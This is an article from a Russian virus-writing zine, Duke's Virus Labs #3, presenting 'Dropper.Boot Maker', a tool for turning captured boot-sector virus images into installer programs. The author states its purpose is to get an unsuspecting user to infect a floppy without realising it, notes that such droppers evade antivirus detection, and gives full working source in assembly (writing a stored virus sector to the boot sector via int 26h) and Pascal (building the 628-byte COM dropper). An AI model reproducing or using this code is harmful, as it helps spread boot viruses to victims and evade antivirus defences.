- [Duke's Virus Labs #3] - [Page 18] - Dropper.Boot Maker v0.1 (c) by Duke/SMF В коллекциях (в том числе моей) собирателей вирусов очень часто встречаются копии boot-секторов дискет ("слепки"), содержащие какой-либо boot-вирус. Большинство антивирусов при тестировании этих файлов сообщают об обнаружении вируса. Если размер этого вируса >512 байт, то в boot-секторе находится лишь начало вируса. Слепок с таким вирусом хорош только для коллекции, поскольку полноценного (работоспособного) вируса он не содержит. Если же boot-вирус достаточно мал (<=512 байт), то он занимает всего один сектор и целиком умещается с слепке. Слепок с таким вирусом вполне пригоден к размножению. Как определить: умещается данный вирус в boot'е или нет? Ответ дадут либо число в имени вируса, либо антивирусные энциклопедии :) Итак, перед нами слепок с boot-вирусом. И вот тут начинаются вопросы. Многие спрашивают - как выпустить вирус на свободу. Поскольку boot - довольно специфическая структура, то запустить ее как COM-файл не удастся. Выход один - поместить слепок на место boot-сектора дискеты. Появляется очередной вопрос: а как это сделать? Есть 2 варианта : 1) Использовать Disk Editor. Достаточно муторная операция - под Windows Disk Editor не работает. Нужно найти на диске файл со слепком, скопировать сектор-слепок в clipboard, отправиться в boot-сектор дискеты, записать туда содержимое clipboard. Долго и проблематично. 2) Использовать специальные програмки, например мой BootEditor. Чтобы установить boot надо запустить BootEditor с нужными параметрами: <код операции> <имя слепка> <имя диска>. Просто и удобно. Написал я эту утилитку специально для вирмейкеров и коллекционеров. Но эти способы хороши только в том случае, когда человек знает, что делает и отдает себе отчет в том, что записывает вирус в boot. А как заставить юзера/ламера провернуть всю эту операцию? Да еще чтобы он не знал о запуске вируса? Правильно - подсунуть ему dropper ! Что есть dropper? Это не вирус, а его инсталлятор. В нашем случае это программа, записывающая слепок в boot-сектор дискеты. Антивирусами вирус в dropper'е не детектируется (пока не попадет в руки антивирусников; хотя эвристика подозревает некоторые созданные программой DBM dropper'ы на в них наличие бутового вируса :( ), код вируса содержится в dropper'е как массив данных и управление не получает. Так вот я и решил наваять что-нибудь для автоматической установки boot-секторов. Называется все это Dropper.Boot Maker и состоит из двух частей (файлов): maker'а (dbm.pas) и инсталлятора (inst.asm). В файле inst.asm содержится код, который собственно и будет проводить установку. Этот код можно изменить по своему усмотрению (например, вставить в демку или еще куда, убрать вывод текста и т.д.). Затем откомпилированный файл inst.com конвертируется утилитой OPT2INC (опять мое творчество :) в файл inst.inc, который подключается к файлу dpm.pas. А файл dbm.pas производит подготовку полноценного dropper'а из полуфабриката ;) От человека, создающего dropper, требуется указать файл-слепок, имя вируса, дисковод для инсталляции и имя файла-дроппера. Программа DBM создаст на диске COM-файл, содержащий 100% работающий dropper. Некоторые ограничения и замечания: 1. Файл-слепок должен иметь размер 512 байт (т.е. стандартный сектор). В противном случае dropper все равно будет создан и будет работать, но никаких гарантий я не даю. 2. Вирус может быть проинсталлирован только на диски A или B (для других дисков dropper не создается). 3. Размер созданного dropper'а всегда будет равен 628 байт. 4. Имя вируса не более 20 символов (уж столько я отвел места под него в инсталляторе). 5. Если вы делаете какие-либо исправления в файле inst.asm, то вам придется исправить числовые константы в файле dbm.pas. В противном случае будут создаваться неработоспособные dropper'ы. Файл INST.ASM : ===== Cut here ===== ; Dropper.Boot Maker v0.1 by Duke/SMF model tiny .code org 100h start: mov ah,9 ; выводим заголовок и имя вируса mov dx,offset DPMs int 21h call setboot ; вызов установки boot-сектора mov ah,9 ; сообщаем о завершении mov dx, offset DPMe int 21h ret ;---------------------------------- ; Установка boot-сектора: setboot: disk equ 0 ; какой диск (0=a:, 1=b:) sec equ 0 ; какой сектор nsec equ 1 ; количество секторов op equ 1 ; операция на сектором (1=запись) mov DX, Word Ptr Sec ; DX := Sec mov CX, NSec ; CX := NSec push DS ; Сохраняем DS - он будет испорчен push BP ; Сохраняем BP mov bx,offset boot mov AL,Op ; AL := Op shr AX,1 ; Переносим младший бит Op в CF mov AL,Disk ; AL := Disk int 26H ; Записываем данные pop DX ; Извлекаем флаги из стека pop BP ; Восстанавливаем BP pop DS ; Восстанавливаем DS ; это для тех, кто захочет усовершенствовать mov BX,1 ; BX := True jc Exit ; Перейти, если была ошибка mov BX,0 ; BX := False xor AX,AX ; Обнуляем код ошибки exit: ret ;---------------------------------- DPMs: db 'Dropper.Boot for ' db 20 dup (' ') ; местечко оставлено под имя вируса db 13,10,'$' DPMe: db 'Installation complete!',13,10,'$' boot: db 512 dup (?) end start ===== Cut here ===== Файл DBM.PAS : ===== Cut here ===== program DropperBootMaker__by_Duke_SMF; const Inst : array [1..116] of byte = {$I inst.inc}; var Boot : file; {файл с boot-сектором} DropName : string; {имя dropper'а} Dropper : file; {создаваемый файл} Sector : array [1..512] of byte; {содержимое файла Boot} VirName : string; {имя вируса} Len : byte; {длина имени вируса} a,i : byte; begin writeln('Dropper.Boot Maker v0.1 (c) by Duke/SMF *** DVL Utilities ***'); if paramcount<>1 then begin writeln('Изготовитель инсталляторов для boot-вирусов. Программа создает'); writeln('COM-файл, проводящий установку boot-сектора на указанный дисковод.'); writeln('Использование : DBM.EXE '); halt; end; filemode:=0; assign(Boot,paramstr(1)); {читаем boot-сектор} {$I-}reset(Boot,512);{$I+} if ioresult<>0 then begin writeln('Файл ',paramstr(1),' не найден !'); halt; end; blockread(Boot,Sector,1); close(Boot); filemode:=2; write('Введите имя создаваемого dropper''а :'); readln(DropName); assign(Dropper,DropName); rewrite(Dropper,1); {создаем dropper} blockwrite(Dropper,Inst,116); {пишем инсталлятор} blockwrite(Dropper,Sector,512); {пишем boot-сектор} {----- запись имени вируса -----} repeat write('Введите имя вируса (не более 20 символов):'); readln(VirName); Len:=length(VirName); until Len<20; seek(Dropper,$44); for i:=1 to Len do begin a:=ord(VirName[i]); blockwrite(Dropper,a,1); end; {----- запись имени дисковода -----} repeat write('На какой диск устанавливать (0=A, 1=B):'); readln(a); until a in [0,1]; seek(Dropper,$22); blockwrite(Dropper,a,1); {-----} close(Dropper); writeln('Dropper создан!'); end. ===== Cut here =====